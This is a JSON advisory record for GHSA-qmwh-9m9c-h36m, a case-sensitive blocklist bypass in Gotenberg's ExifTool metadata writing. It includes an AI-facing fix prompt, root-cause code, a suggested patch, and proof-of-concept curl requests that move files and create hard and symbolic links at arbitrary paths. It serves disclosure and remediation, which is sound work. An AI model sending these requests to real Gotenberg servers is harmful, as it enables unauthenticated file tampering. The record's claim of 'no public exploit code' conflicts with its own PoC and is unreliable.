{"answers":{"affected":"4 open source packages ship an affected version, including github.com/gotenberg/gotenberg/v7 and github.com/gotenberg/gotenberg/v8.","exploited":"There is no known exploitation of GHSA-qmwh-9m9c-h36m in the wild and no public exploit code.","fix":"Apply the vendor's patch.","what":"GHSA-qmwh-9m9c-h36m is a path traversal vulnerability in github.com/gotenberg/gotenberg/v7, published on 7 Apr 2026. An attacker can exploit it over the internet without logging in, with no action from the victim."},"fix_prompt":"Check this codebase for GHSA-qmwh-9m9c-h36m and fix it if it is affected.\n\nWhat it is: GHSA-qmwh-9m9c-h36m is a path traversal vulnerability in github.com/gotenberg/gotenberg/v7, published on 7 Apr 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.\nExploitation: There is no known exploitation of GHSA-qmwh-9m9c-h36m in the wild and no public exploit code.\n\nAffected packages and fixed versions:\n- github.com/gotenberg/gotenberg/v7 (Go): affected all versions; no fix listed\n- github.com/gotenberg/gotenberg/v8 (Go): affected all versions; fixed in 8.30.0\n- github.com/gotenberg/gotenberg/v8 (Go): affected all versions; fixed in 8.30.0\n- github.com/gotenberg/gotenberg/v8 (Go): affected all versions; fixed in 8.30.0\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/GHSA-qmwh-9m9c-h36m/ (Markdown: https://insights.sbomify.com/GHSA-qmwh-9m9c-h36m/index.md)","id":"GHSA-qmwh-9m9c-h36m","markdown":"https://insights.sbomify.com/GHSA-qmwh-9m9c-h36m/index.md","name":"GHSA-qmwh-9m9c-h36m","record":{"aliases":["GO-2026-5587"],"analysis":{"component_type":"server_software","fix_type":"patch","impacts":["data_modify","code_execution"],"network_reachable":"yes","non_default_config":false,"product_category":"Gotenberg PDF API","requires_auth":"none","summary":"Unauthenticated attackers can bypass case-sensitive filters to write arbitrary files or create links via ExifTool pseudo-tags in Gotenberg.","user_interaction":"not_required","vuln_class":"path_traversal"},"analysis_generated_by":"qwen3.8-flash-next","assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"## Summary\n\nThe fix for ExifTool arbitrary file write (commit `043b158`, released in v8.29.0) uses a case-sensitive blocklist to filter dangerous pseudo-tags. ExifTool processes tag names case-insensitively, so alternate casings bypass the filter. The blocklist also omits the `HardLink` and `SymLink` pseudo-tags entirely.\n\nConfirmed end-to-end against Gotenberg v8.29.1 via the unauthenticated HTTP API.\n\n## Root Cause\n\n`pkg/modules/exiftool/exiftool.go` lines 231-237:\n\n    dangerousTags := []string{\n        \"FileName\",  // Writing this triggers a file rename in ExifTool\n        \"Directory\", // Writing this triggers a file move in ExifTool\n    }\n    for _, tag := range dangerousTags {\n        delete(metadata, tag)\n    }\n\nGo's `delete(metadata, tag)` is case-sensitive. It only removes the exact keys `\"FileName\"` and `\"Directory\"`. ExifTool processes tag names case-insensitively (per ExifTool documentation). Alternate casings like `filename`, `FILENAME`, `directory` all bypass the Go blocklist but ExifTool treats them identically.\n\nThe go-exiftool library passes tag names directly to ExifTool's stdin at line 258:\n\n    fmt.Fprintln(e.stdin, \"-\"+k+\"=\"+str)\n\nSo `filename` becomes `-filename=/attacker/path` which ExifTool interprets as `-FileName=/attacker/path`.\n\nThe blocklist also omits two dangerous ExifTool pseudo-tags:\n- `HardLink`: creates a hard link to the file at the specified path\n- `SymLink`: creates a symbolic link to the file at the specified path\n\n## PoC\n\nAll three vectors confirmed against a running Gotenberg v8.29.1 Docker container.\n\n**Case-insensitive filename bypass (file moved to /tmp/evil_bypass.pdf):**\n\n    curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \\\n      -F files=@sample.pdf \\\n      -F 'metadata={\"filename\": \"/tmp/evil_bypass.pdf\"}'\n\n**HardLink (hard link created at /tmp/hardlink_bypass.pdf):**\n\n    curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \\\n      -F files=@sample.pdf \\\n      -F 'metadata={\"HardLink\": \"/tmp/hardlink_bypass.pdf\"}'\n\n**SymLink (symbolic link created at /tmp/symlink_bypass.pdf):**\n\n    curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \\\n      -F files=@sample.pdf \\\n      -F 'metadata={\"SymLink\": \"/tmp/symlink_bypass.pdf\"}'\n\nVerification inside the container:\n\n    $ docker exec gotenberg-poc ls -la /tmp/evil_bypass.pdf /tmp/hardlink_bypass.pdf /tmp/symlink_bypass.pdf\n    -rw-r--r-- 1 gotenberg gotenberg 321 ... /tmp/evil_bypass.pdf\n    -rw-r--r-- 1 gotenberg gotenberg 321 ... /tmp/hardlink_bypass.pdf\n    lrwxrwxrwx 1 gotenberg gotenberg 119 ... /tmp/symlink_bypass.pdf -\u003e /tmp/.../source.pdf\n\nAlso confirmed ExifTool case-insensitivity directly:\n\n    exiftool -filename=bypassed.pdf test.pdf  # Works identically to -FileName=\n\n## Impact\n\nAn attacker with access to the Gotenberg API (unauthenticated by default) can:\n\n1. Rename/move uploaded PDFs to arbitrary filesystem paths via lowercase `filename`/`directory`\n2. Create hard links at arbitrary paths via `HardLink`, persisting data beyond temp directory cleanup\n3. Create symbolic links at arbitrary paths via `SymLink`\n\nIn containerized deployments, impact is limited to the container filesystem (DoS by overwriting temp files). In bare-metal deployments or those with shared volumes, this can affect other services.\n\n## Suggested Fix\n\nUse case-insensitive comparison and expand the blocklist:\n\n    dangerousTags := []string{\n        \"FileName\",\n        \"Directory\",\n        \"HardLink\",\n        \"SymLink\",\n    }\n    for key := range metadata {\n        for _, tag := range dangerousTags {\n            if strings.EqualFold(key, tag) {\n                delete(metadata, key)\n            }\n        }\n    }","ecosystems":["Go"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":true,"headline":"The fix for ExifTool arbitrary file write (commit `043b158`, released in v8.29.0) uses a case-sensitive blocklist to filter dangerous pseudo-tags.","id":"GHSA-qmwh-9m9c-h36m","indexable":true,"kev":null,"kind":"advisory","links":{"ecosystem":"Go","product":null,"products":[],"type":"path_traversal","year":"2026"},"n_packages":4,"n_references":null,"packages":[{"ecosystem":"Go","fixed":[],"introduced":["0"],"last_affected":[],"package":"github.com/gotenberg/gotenberg/v7","purl":"pkg:golang/github.com/gotenberg/gotenberg/v7","source":"GO-2026-5587"},{"ecosystem":"Go","fixed":["8.30.0"],"introduced":["0"],"last_affected":[],"package":"github.com/gotenberg/gotenberg/v8","purl":null,"source":"GHSA-qmwh-9m9c-h36m"},{"ecosystem":"Go","fixed":["8.30.0"],"introduced":["0"],"last_affected":[],"package":"github.com/gotenberg/gotenberg/v8","purl":"pkg:golang/github.com/gotenberg/gotenberg/v8","source":"GHSA-qmwh-9m9c-h36m"},{"ecosystem":"Go","fixed":["8.30.0"],"introduced":["0"],"last_affected":[],"package":"github.com/gotenberg/gotenberg/v8","purl":"pkg:golang/github.com/gotenberg/gotenberg/v8","source":"GO-2026-5587"}],"products":null,"published":"2026-04-07","related":[],"sources":[{"class":"attribution","licence":"CC BY 4.0","name":"GitHub Advisory Database","prefix":"GHSA"},{"class":"attribution","licence":"CC BY 4.0","name":"Go Vulnerability Database","prefix":"GO"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":"Unauthenticated attackers can bypass case-sensitive filters to write arbitrary files or create links via ExifTool pseudo-tags in Gotenberg.","url":"https://insights.sbomify.com/GHSA-qmwh-9m9c-h36m/"}